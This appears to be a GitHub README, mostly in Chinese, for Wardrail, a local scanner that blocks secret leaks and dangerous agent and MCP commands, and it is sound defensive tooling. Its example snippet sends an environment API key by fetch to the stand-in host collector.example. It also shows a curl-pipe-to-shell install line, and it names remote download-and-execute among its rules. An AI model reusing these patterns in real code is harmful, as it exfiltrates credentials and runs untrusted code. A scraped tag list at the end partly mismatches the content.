3196973848/wardrail

# Wardrail **在 API 密钥泄露、不安全的 Agent 指令以及危险的 MCP 命令 运行或推送到 GitHub 之前将其拦截。** [中文](docs/README.zh-CN.md) · [Vibe 编码安全指南](docs/vibe-coding-safety.md) · [路线图](docs/roadmap.md) · [贡献指南](CONTRIBUTING.md) [](https://github.com/3196973848/wardrail/actions/workflows/ci.yml) [](https://github.com/3196973848/wardrail/stargazers)      ## 为什么选择 Wardrail？ AI 让开发者无需提前了解所有的安全边界，就能构建出一款应用。 这非常强大——但也使得一些代价高昂的错误变得异常容易发生： ``` OPENAI_API_KEY=sk-... # committed by accident VITE_PAYMENT_SECRET=... # shipped to every browser DATABASE_URL=user:password@host # copied into source ``` Wardrail 为初学者提供了一个直接、通俗易懂的解答： - **哪里存在危险？** - **它位于何处？** - **为什么这很重要？** - **我该如何修复它？** 它在本地运行，不会上传源代码，不需要 AI 模型，并且 绝对不会执行被扫描的项目。 ## 一分钟快速体验 此 npm 命令专为首次公开发布准备： ``` npm install --save-dev wardrail npx wardrail scan npx wardrail hook install ``` 要在正式发布前体验当前的代码仓库： ``` npm install npm run dev -- scan examples/vibecoding-api-leak ``` pre-commit 钩子仅扫描已暂存的文件： ``` git commit ↓ wardrail scan --staged ↓ safe → commit continues risk → commit stops with an explanation ``` ## 它能拦截的问题 Wardrail 目前内置了 15 条可解释的规则： | 领域 | 示例 | |---|---| | API 密钥和令牌 | OpenAI、Anthropic、AWS、GitHub、Google、Stripe、Slack 以及通用密钥 | | 前端暴露 | 放置在 `VITE_*`、`NEXT_PUBLIC_*` 或 `REACT_APP_*` 中的密钥 | | 环境变量文件 | 未包含在 `.gitignore` 中的敏感 `.env` 文件 | | 意外泄露 | 日志、Authorization 标头、数据库 URL 以及 Docker 层中的密钥 | | 数据外泄 | 敏感的环境变量值流入外部 HTTP 请求中 | | Agent 安全 | 凭证访问、绕过安全防护的指令以及不可见的 Unicode 字符 | | 危险命令 | 远程下载并执行、破坏性删除以及经过编码的 PowerShell | | 供应链 | 可变分支、`latest` 版本以及未锁定版本的安装命令 | 运行 `npx wardrail rules list` 查看 `WR-001` 到 `WR-015`，或者： ``` npx wardrail explain WR-007 ``` ## 不仅仅是基础的密钥模式匹配器 Wardrail 能够理解在 Agent 驱动的项目中至关重要的关联关系： ``` .env → process.env.OPENAI_API_KEY → request body → external URL SKILL.md → shell tool → cloud credential file → curl Agent instruction → bypass confirmation → destructive command ``` 其轻量级数据流分析可以追踪简短的局部赋值操作： ``` const secret = process.env.OPENAI_API_KEY; const body = JSON.stringify({ secret }); await fetch("https://collector.example/upload", { method: "POST", body, }); ``` 报告会指向网络数据流出点 (sink)，同时对证据进行脱敏处理。 ## 为真实工作流设计 ### 在提交前进行扫描 ``` npx wardrail scan --staged npx wardrail hook install ``` 钩子安装是幂等的。现有的 shell 钩子命令将被保留， 非 shell 钩子也绝不会被覆盖。 ### 在 CI 中进行扫描 ``` npx wardrail scan --format sarif --output wardrail.sarif ``` SARIF 2.1.0 格式的扫描结果可以上传到 GitHub Code Scanning。请参阅 [可用的工作流](docs/github-code-scanning.md)。 ### 无需立刻修复所有问题即可采用 ``` npx wardrail baseline create npx wardrail scan ``` 基线文件仅抑制未发生变更的历史扫描结果。新增或发生位置变动的 风险依然会导致扫描失败。 ## 扫描结果示例 ``` Wardrail Security Report CRITICAL src/config.ts:3:19 WR-001: Known credential format A value matches the format of a known API key or token. Evidence: const apiKey = ""; Fix: Remove the value, rotate the credential, and use a secret store. 1 risk found: 1 critical ``` Wardrail 会在输出终端、JSON 或 SARIF 报告之前， 对凭证证据进行脱敏处理。 ## 配置 运行 `npx wardrail init` 以创建 `.wardrail.json`： ``` { "ignore": ["**/vendor/**"], "ignoreRules": [], "maxFileSize": 1048576, "baseline": ".wardrail-baseline.json" } ``` 精准地抑制已经过人工复核的扫描结果： ``` # wardrail-ignore-next-line WR-004 -- checksum 已在 SECURITY.md 中验证 curl https://trusted.example/install.sh | sh ``` ## 如果密钥已经泄露 仅从当前文件中将其删除是不够的： 1. 立即在服务商处撤销或轮换该凭证。 2. 从代码中将其移除，并改用服务端环境变量或密钥 管理器。 3. 检查 Git 历史记录、构建产物、日志以及已部署的前端打包文件。 4. 审查服务商的活动记录，排查是否存在未经授权的使用行为。 Wardrail 能够预防常见的泄露情况；但它无法证明某个凭证从未 被暴露过。 ## 项目状态 Wardrail 是一个经过充分测试的预发布版本： - 15 条内置安全规则 - 支持终端、JSON 和 SARIF 输出 - 支持 pre-commit 和 GitHub Code Scanning 集成 - 支持基线和内联抑制 - 支持 Node.js 20、22 和 24 的 CI - 静态、本地且默认离线的扫描 请查阅[公开路线图](docs/roadmap.md)，了解关于 Git 历史扫描、 跨文件数据流、更多生态系统支持以及规则插件的规划。 ## 安全性与局限性 - 扫描是只读的，永远不会执行目标代码。 - 在文件发现阶段不会跟随符号链接 (Symlink)。 - 类似密钥的证据在报告前会被脱敏。 - 不会上传任何源代码，也不需要网络或模型访问权限。 - 干净的扫描报告并不能证明项目或 Agent 是安全的。 - Git 历史扫描和完整的跨文件数据流分析尚未实现。 请通过 [SECURITY.md](SECURITY.md) 报告漏洞。 ## 许可证 MIT

标签：DNS重绑定攻击, Git钩子, GNU通用公共许可证, MITM代理, Node.js, StruQ, XML 请求, 代码安全审计, 图数据库, 安全开发, 密钥泄露防护, 暗色界面, 机器学习安全, 自动化攻击, 静态代码扫描